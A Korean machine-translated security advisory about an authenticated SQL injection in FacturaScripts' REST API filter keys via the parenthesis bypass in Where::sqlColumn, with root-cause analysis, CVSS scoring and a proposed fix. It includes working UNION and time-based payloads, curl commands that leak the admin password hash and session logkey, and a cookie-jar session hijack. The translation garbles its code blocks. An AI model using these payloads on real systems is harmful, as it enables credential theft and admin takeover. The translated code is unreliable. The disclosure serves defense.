FacturaScripts: `Where::sqlColumn`에서 괄호 우회를 통해 FacturaScripts REST API 필터 매개변수에 인증된 SQL 주입
라이브 PoC는
127.0.0.1:8081의 재고 FacturaScripts 마스터에 대해 2026-04-30을 확인했습니다.fullaccess=0으로 범위가 지정된ApiKey및clientes리소스에 대해서만(다른 권한 없음, UI 세션 없음, 관리자 없음)allowget=1을 부여하는ApiAccess행이 하나의GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=요청을 발행했고 응답 본문에 관리자 비밀번호의 원시 bcrypt 해시가 포함되었습니다. ($2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO) 및 관리자의logkey쿠키 값. 유출된logkey는 새로운 쿠키 항아리에 삽입되었고GET /AdminPlugins는 관리자 플러그인 관리 UI와 함께 200을 반환했습니다. CSRF가 없고, 두 번째 요소가 없고, 기본 5건의 IP 제한을 초과하는 속도 제한 상호 작용이 없는 읽기 전용 토큰에서 엔드투엔드 계정을 인수합니다.
Core/Where.php::sqlColumn()은 식별자 이스케이프에서 ( 및 )를 모두 포함하는 모든 필드 이름을 제외합니다. 두 개의 API 필터 빌더(APIModel::getWhereValues 및 ApiAttachedFiles::getWhereValues)는 원시 요청 키($_GET['filter'][$key])를 new DataBaseWhere($key, $value, '=', ...)에 직접 공급합니다. 모델의 all()이 Where::multiSqlLegacy -> Where::sql() -> Where::sqlColumn($key)에 도달하면 괄호 분기는 공격자가 제어하는 문자열을 수정되지 않은 상태로 반환합니다. 문자열은 WHERE <attacker> = '<value>'로 연결되며, 공격자는 이를 WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value'로 피벗하여 모든 테이블에서 임의의 열을 유출할 수 있습니다.
코어/Lib/API/APIModel.php:300-322 (listAll):
``php 보호된 함수 listAll(): bool { $filter = $this->request->query->getArray('filter'); $limit = $this->request->query->getInt('limit', 50); $offset = $this->request->query->getInt('offset', 0); $작업 = $this->요청->쿼리->getArray('작업'); $order = $this->요청->쿼리->getArray('정렬');
// obtenemos los registros
$data = [];
$hidden = $this->model->getApiFieldsToHide();
$where = $this->getWhereValues($filter, $operation);
foreach ($this->model->all($where, $order, $offset, $limit) as $item) {
$data[] = $this->filterHidden($item->toArray(true), $hidden);
}
...
`Core/Lib/API/APIModel.php:231-298` (`getWhereValues`):
``php
개인 함수 getWhereValues($filter, $Operation, $defaultOperation = 'AND'): 배열
{
$어디 = [];
foreach ($filter를 $key => $value로) {
$필드 = $키; // (1) 원시 요청 키
$연산자 = '=';
switch (substr($key, -3)) { // 접미사 라우팅 전용
케이스 '_gt': $field = substr($key, 0, -3); $연산자 = '>'; 부서지다;
케이스 '_is': $field = substr($key, 0, -3); $연산자 = 'IS'; 부서지다;
케이스 '_lt': $field = substr($key, 0, -3); $연산자 = '<'; 부서지다;
}
...
if (!isset($작업[$key])) {
$작업[$key] = $defaultOperation;
}
$where[] = new DataBaseWhere($field, $value, $operator, $Operation[$key]); // (2)
}
$where를 반환합니다.
}
이 함수는 연산자를 결정하기 위해 접미사만 읽습니다. 나머지 식별자(MariaDB에서 최대 252자, 프레임워크에 의해 제한되지 않음)는 그대로 보존되어 DataBaseWhere에 전달됩니다. 합법적인 열 이름의 허용 목록도 없고 BaseController::autocompleteAction(b8aa78b 커밋)의 자동 완성 강화와 같은 preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/')도 없으며 운영자가 개입할 수 있는 플러그인 후크도 없습니다.
정확히 동일한 코드(한 줄씩, files 매개변수 포함)가 Core/Controller/ApiAttachedFiles.php::getWhereValues(172-239행)에 있으므로 버그는 일반 /api/3/<resource> 경로와 전용 /api/3/attachedfiles 경로 모두에 존재합니다.
DataBaseWhere::getSQLWhere는 이제 Where::multiSqlLegacy에 위임됩니다.Core/Base/DataBase/DataBaseWhere.php는 @deprecated로 표시되고 활성 코드 경로는 각 레거시 DataBaseWhere 인스턴스를 Where로 변환하는 Core/Where.php::multiSqlLegacy(151-199행)를 통해 실행됩니다.
``php if ($item 인스턴스of DataBaseWhere) { $dbWhere = new self($item->필드, $item->값, $item->연산자, $item->연산, $item->useField ?? false); ... $sql .= $dbWhere->sql(); ... }
`Where::sql()`(316-403행)은 공격자가 도달하는 `=` 분기를 포함하여 모든 연산자 분기의 식별자에 대해 최종적으로 `self::sqlColumn($field)`를 호출합니다.
### `Where::sqlColumn`은 괄호로 묶인 입력을 그대로 반환합니다.
`코어/Where.php:407-425`:
``php
개인 정적 함수 sqlColumn(string $field): 문자열
{
// si lleva paréntesis, escapamos 없음
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$필드를 반환합니다. // (3) 원시 연결
}
// si empieza por 정수, hacemos el 캐스팅
if (substr($field, 0, 8) === '정수:') {
return self::db()->castInteger(substr($field, 8));
}
// si empieza por lower, hacemos el lower
if (substr($field, 0, 6) === '하위:') {
return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
return self::db()->escapeColumn($field);
}
조기 반환의 의도는 select, where 및 groupBy 빌더 호출에서 LOWER()및UPPER(col)과 같은 표현식 열을 지원하는 것으로 보이지만 검사는 순전히 문자열 존재입니다. **둘 다** (및)를 포함하는 입력은 허용 목록에 추가되며 실제 문자열이 무엇인지에 대한 제약은 없습니다. 동일한 예외는 select(), whereLike(), whereIn() 등(Core/Where.php:317-405)을 포함하여 Where::sqlColumn`을 통해 라우팅하는 모든 소비자에게 영향을 미칩니다.
싱크에 도달하려면 필터 키 어딘가에 '(' 및 ')' 두 문자가 필요합니다. 따라서 공격자는 다음을 통과합니다.
필터[(0)UNION SELECT IFNULL(비밀번호,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM 사용자 어디(닉네임='관리자')-- ]=
HTTP 전송을 위해 인코딩된 URL:
필터%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17% 2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30% 2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D=
clientes 테이블에는 32개의 열이 있습니다. 데이터베이스가 병합된 결과 집합을 허용하도록 계산하는 UNION 미러입니다. 후행 --는 프레임워크에 추가된 나머지 SQL(= '<value>' LIMIT 50 OFFSET 0)을 삼킵니다. 결과는 첫 번째 열이 JSON 본문의 cifnif 키(원래 쿼리 SELECT *의 첫 번째 열)에 반환된 관리자 비밀번호 해시인 레코드 하나입니다.
getApiFieldsToHide() 방어가 적용되지 않는 이유736b811 커밋은 JSON 직렬 변환기에서 password, logkey 및 two_factor_secret_key를 수정하는 getApiFieldsToHide()를 User 모델에 추가했습니다.
``php 공개 함수 getApiFieldsToHide(): 배열 { return ['password', 'logkey', 'two_factor_secret_key']; }
이는 전체 액세스 토큰에 의한 `GET /api/3/users` 요청에 대해 작동합니다. 모델이 로드된 다음 `filterHidden()`이 열을 제거합니다. 보호는 직렬화되는 **모델 클래스**에 바인딩됩니다. SQL 주입 경로는 **`clientes` 모델 직렬 변환기의 행을 반환하므로 유출된 열은 `cifnif`(또는 공격자가 첫 번째 UNION 위치에 대해 선택한 다른 열)에 배치되고 `Cliente::getApiFieldsToHide()`(`clientes` 테이블에 해당 열이 없기 때문에 `password`/`logkey`를 포함하지 않음)를 통해 입력되지 않습니다. 거부 목록은 관련이 없습니다.
### `sort`(ORDER BY) 강화도 적용되지 않는 이유
Commit `1b6cdfa`는 `DbQuery::orderBy`(`Core/DbQuery.php:289-307`)에 엄격한 정규식 유효성 검사를 추가하여 괄호로 묶인 입력을 `RAND() | 무작위() | 낮은(...) | 어퍼(...) | 캐스트(... AS ...) | COALESCE(..., 리터럴)`. 이 수정 사항은 `sort` 매개변수에서 SQL 주입을 올바르게 차단합니다. 원래 문자열 존재 예외를 유지하는 `Where::sqlColumn`은 건드리지 않습니다.
## PoC
설정(관리자에 의한 일회성):
``배쉬
# 클라이언트 GET으로만 범위가 지정된 ApiKey를 발행합니다.
mysql -u fs -pfsfacturascripts <<'SQL'
INSERT INTO api_keys(apikey, 생성 날짜, 설명, 활성화됨, 전체 액세스, nick)
VALUES('낮은 범위의 토큰 클라이언트 전용', NOW(), '범위가 지정된 낮은 개인 정보 보호', 1, 0, '낮은 개인 정보');
INSERT INTO api_access(idapikey, 리소스,allowget,allowpost,allowput,allowdelete)
SELECT id, 'clientes', 1, 0, 0, 0 FROM api_keys WHERE apikey='low-scoped-token-clientes-only';
SQL
일반 엔드포인트에 범위가 적용되는지 확인합니다.
$ 컬 -s "http://127.0.0.1:8081/api/3/users" -H "토큰: low-scoped-token-clientes-only"
{"상태":"오류","메시지":"금지됨"}
1단계 - '클라이언트'에 대한 SQL 삽입을 통해 관리자 비밀번호 해시를 유출합니다.
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13 %2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28% 2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ 컬 -s "$URL" -H "토큰: 낮은 범위의 토큰 클라이언트 전용" | python3 -m json.tool | 머리 -3
[
{
"cifnif": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
2단계 - 관리자의 logkey(웹 세션을 제어하는 fsLogkey 쿠키 값) 유출:
$ URL='http://127.0.0.1:8081/api/3/clientes?filter%5B%280%29UNION%20SELECT%20IFNULL%28logkey%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13% 2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28% 2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ 컬 -s "$URL" -H "토큰: 낮은 범위의 토큰 클라이언트 전용" | python3 -m json.tool | 머리 -3
[
{
"cifnif": "HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW",
3단계 - 유출된 로그 키를 쿠키 항아리에 기록하고 관리자 전용 플러그인 관리자를 눌러 관리자의 웹 세션을 하이재킹합니다.
$ 고양이 > /tmp/fs-hijack <<EOF
# 넷스케이프 HTTP 쿠키 파일
127.0.0.1 FALSE / FALSE 0 fsNick 관리자
127.0.0.1 거짓 / 거짓 0 fsLogkey HyZJB2eEyo5eC9Eyhn96qxbQkFDqHJss1d1lED0HEHE2ujoPPGRnUstsWd3kS25CieoLkHvsN4X1YGUt1iqXh1ZFMP0jgHFmeBW
127.0.0.1 FALSE / FALSE 0 fsLang ko_EN
EOF
$ 컬 -s -b /tmp/fs-hijack "http://127.0.0.1:8081/AdminPlugins" -o /tmp/admin.html -w "%{http_code}\n"
200
$ grep -oE '<title>[^<]*</title>' /tmp/admin.html
<title>플러그인</title>
시간 기반 블라인드 주입은 UNION 친화적인 열 개수가 없는 환경에서도 잘 작동합니다. 동일한 괄호 우회는 임의의 표현식을 허용합니다.
$ 컬 -s "http://127.0.0.1:8081/api/3/clientes?filter%5B%28SELECT%28SLEEP%282%29%29%29%5D=zz" -H "토큰: 낮은 범위의 토큰 클라이언트 전용"
[]
$ # 2초 벽시계 지연을 관찰합니다. mysqld 일반 로그가 표시됩니다.
$ # SELECT COUNT(*) as _count FROM `clientes` WHERE (SELECT(SLEEP(2))) = 'zz' LIMIT 1 OFFSET 0
attachedfiles 경로(Core/Controller/ApiAttachedFiles.php)는 getWhereValues의 자체 복사본을 전달하기 때문에 동일한 영향을 받습니다.
$ URL='http://127.0.0.1:8081/api/3/attachedfiles?filter%5B%280%29UNION%20SELECT%20%221970-01-01%22%2CI FNULL%28password%2C2%29%2C3%2C4%2C5%2C6%2C7%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D='
$ 컬 -s "$URL" -H "토큰: 낮은 범위의 토큰 클라이언트 전용" | python3 -m json.tool | 머리 -3
[
{
"날짜": "1970년 1월 1일",
"파일 이름": "$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO",
users.password, users.logkey, users.two_factor_secret_key, api_keys.apikey, emails_sent.body, 고객 금융 데이터 등을 포함하여 스키마의 모든 테이블에서 모든 열을 읽습니다. getApiFieldsToHide()는 요청된 모델의 응답 직렬 변환기만 보호합니다. UNION 쿼리는 유출된 데이터를 다른 모델 직렬 변환기를 통해 라우팅하고 거부 목록을 완전히 우회합니다.logkey는 Core/Base/Controller::privateCore가 세션 토큰으로 허용하는 fsLogkey 쿠키의 값입니다(User::verifyLogkey는 일반 문자열 동일성, Core/Model/User.php:403-406입니다). HTTP 클라이언트에서 fsNick=admin 및 fsLogkey=<leaked>를 설정하면 /AdminPlugins(임의 플러그인 코드 설치), /EditUser?code=admin(관리자 비밀번호 교체), /EditEmpresa(데이터 평면 쓰기), /Cron(cron 작업 확장을 통한 서버 측 코드 실행)을 포함하여 모든 관리 엔드포인트에서 200이 반환됩니다.Tools::log()->error 항목을 생성하지 않습니다(SQL 구문 오류 없음, MariaDB 경고 없음). 프레임워크는 실패한 SQL에만 로그 행을 씁니다. 공격자의 쿼리는 FacturaScripts 로그 흔적을 남기지 않습니다. 'api_keys' 행은 인증된 모든 호출에서 API가 수행하는 일반적인 'updateActivity()' 쓰기에 의해 터치되며, 이는 합법적인 범위 토큰 사용과 동일해 보입니다.FS_API_KEY를 설정하거나 기본값 -> API 활성화를 전환하면 API 액세스가 기본적으로 활성화됩니다. FacturaScripts와 통합하는 공급업체에 권장되는 배포 지침은 범위가 지정된 키, 즉 이 공격에 필요한 권한 수준을 발행하는 것입니다.( ) 예외는 Where::sqlColumn 자체에 있으므로 호출자 제어 식별자에서 WHERE 절을 작성하는 쓰기 경로가 동일하게 노출됩니다. 공격자는 대신 이를 허용하는 엔진의 누적 쿼리를 통해 UPDATE ... WHERE 스타일 페이로드를 사용하거나 FILE 권한이 있는 MySQL 설치에서 SELECT ... INTO OUTFILE을 사용하여 문서 루트에 웹셸을 쓸 수 있습니다. CVSS 채점은 이러한 이유로 이미 무결성 영향 'H'를 가정합니다.AV:N(네트워크), AC:L(하나의 HTTP GET, 오라클 없음, 특정 타이밍 없음), PR:L(허용된 리소스가 하나 있는 전체 액세스가 아닌 모든 ApiKey), UI:N, S:C(취약한 구성 요소는 API입니다. 영향은 전체 사용자 데이터베이스, 웹 세션 및 인증된 제어 플레인에 도달합니다), C:H I:H A:H. 점수 '9.9'. 'S:C'(범위 변경)는 공격자가 교차하는 권한 경계가 "이 토큰은 클라이언트만 읽을 수 있습니다"라는 운영자의 의도이기 때문에 적절합니다. 이는 API 계약이 /users에 대한 403 응답에서 명시적으로 적용합니다. 유출된 자격 증명은 다른 보안 영역(웹 UI 세션, 플러그인 관리자)에서 관리자 권한을 제공합니다.
버그는 정확히 Core/Where.php::sqlColumn에 있습니다. 공격자 제어 식별자 경로에는 엄격한 허용 목록이 필요하며 API 수신 경로에는 Core/Lib/ExtendedController/BaseController::autocompleteAction(b8aa78b 커밋)에 이미 자동 완성 강화를 미러링하는 자체 필드 이름 유효성 검사기가 필요합니다.
괄호 유무 테스트를 구조적 파서로 대체합니다. Where::sqlColumn은 순수 식별자(^[a-zA-Z_][a-zA-Z0-9_]*(\.[a-zA-Z_][a-zA-Z0-9_]*)?$), LOWER(<ident>), UPPER(<ident>)와 일치하지 않는 모든 항목을 거부해야 합니다. CAST(<ident> AS <type>) 또는 COALESCE(<ident>, <literal>). 문법은 이미 DbQuery::orderBy(289-307행)에 있으므로 재사용하면 됩니다. 다른 모든 것은 db()->escapeColumn()을 통해 이스케이프됩니다(이미 점으로 구분된 식별자를 올바르게 처리함).
``php 개인 정적 함수 sqlColumn(string $field): 문자열 { $필드 = 트림($필드);
// 단순 식별자 또는 table.column
if (preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
return self::db()->escapeColumn($field);
}
// 제한된 표현식 허용 목록(DbQuery::orderBy 미러링)
if (preg_match('/^(LOWER|UPPER)\(([a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?)\)$/i', $field, $m)) {
strtoupper($m[1]) 을 반환합니다. '(' . self::db()->escapeColumn($m[2]) . ')';
}
if (preg_match('/^CAST(([a-zA-Z_][a-zA-Z0-9_](?:.[a-zA-Z_][a-zA-Z0-9_])?) AS ([a-zA-Z0-9_ ]+))$/i', $field, $m)) { return 'CAST(' . self::db()->escapeColumn($m[1]) . ' AS ' . $m[2] . ')'; }
// 레거시 접두사
if (str_starts_with($field, 'integer:')) {
return self::db()->castInteger(substr($field, 8));
}
if (str_starts_with($field, 'lower:')) {
return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
if (str_starts_with($field, 'upper:')) {
return 'UPPER(' . self::db()->escapeColumn(substr($field, 6)) . ')';
}
// 다른 것은 거절하세요
throw new Exception('잘못된 열 표현식: ' . $field);
}
변화는 지역적입니다. 프레임워크의 모든 호출 사이트는 이미 기본 식별자 또는 지원되는 표현식 접두사 중 하나를 전달합니다. 코드베이스 전반에 걸쳐 `'(...)'` 스타일 식별자에 대한 grep을 실행하면 `Core/`에서 적중률이 0으로 표시됩니다.
2. **API 수신 시 필터 키를 검증합니다.** (1) 이후에도 API `getWhereValues`는 `BaseController::autocompleteAction:258-261`을 미러링하여 기본 열이 아닌 식별자를 거부해야 합니다.
``php
foreach ($filter를 $key => $value로) {
$필드 = $키;
// 연산자 접미사 제거(기존 코드) ...
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*(?:\.[a-zA-Z_][a-zA-Z0-9_]*)?$/', $field)) {
도구::log('api')->warning('api: 잘못된 필터 필드 이름: ' . $field);
계속하다; // 잘못된 필터를 건너뜁니다.
}
// ... 남은 코드
}
ApiAttachedFiles::getWhereValues:172-239에 동일한 패치를 적용합니다. 이는 심층 방어입니다. 실제 수정 사항은 (1)입니다. 하지만 'b8aa78b' 커밋의 프로젝트 기존 강화 패턴과 일치합니다.
Cron::log를 호출하여 원래 IP를 조절하고 password 또는 logkey 열이 잠재적으로 유출된 모든 사용자에 대해 User::logkey 순환을 대기열에 추가해야 합니다. API가 활성화된 이 버전을 제공한 운영자는 모든 사용자의 비밀번호를 교체하고 데이터베이스의 자격 증명을 읽었다고 가정해야 합니다.회귀 테스트는 범위가 지정된 토큰과 함께 GET /api/3/clientes?filter[(0)UNION SELECT 1,...]=x를 실행하고 응답이 빈 배열(잘못된 필터가 삭제되었기 때문에)이며 Tools::log('api')->read()에 새로운 "잘못된 필터 필드 이름" 경고가 포함되어 있다고 주장해야 합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 99.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 99.00 |
VPI 공식 vpi-v1 기준